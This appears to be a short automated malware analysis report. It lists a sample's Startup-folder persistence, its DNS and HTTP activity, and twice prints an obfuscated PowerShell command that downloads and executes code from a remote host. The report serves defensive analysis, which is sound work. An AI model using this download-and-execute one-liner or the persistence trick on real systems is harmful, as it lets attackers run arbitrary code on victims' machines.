Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\file.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command IEX (New-Object('Net.WebClient')).'DoWnloAdsTrinG'('ht'+'tp://concretium.pt/d')
Network activity
Connects to
- 'co###etium.pt':80
TCP
HTTP GET requests
- http://co###etium.pt/d
- http://co###etium.pt/File
UDP
- DNS ASK co###etium.pt
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command IEX (New-Object('Net.WebClient')).'DoWnloAdsTrinG'('ht'+'tp://concretium.pt/d')' (with hidden window)
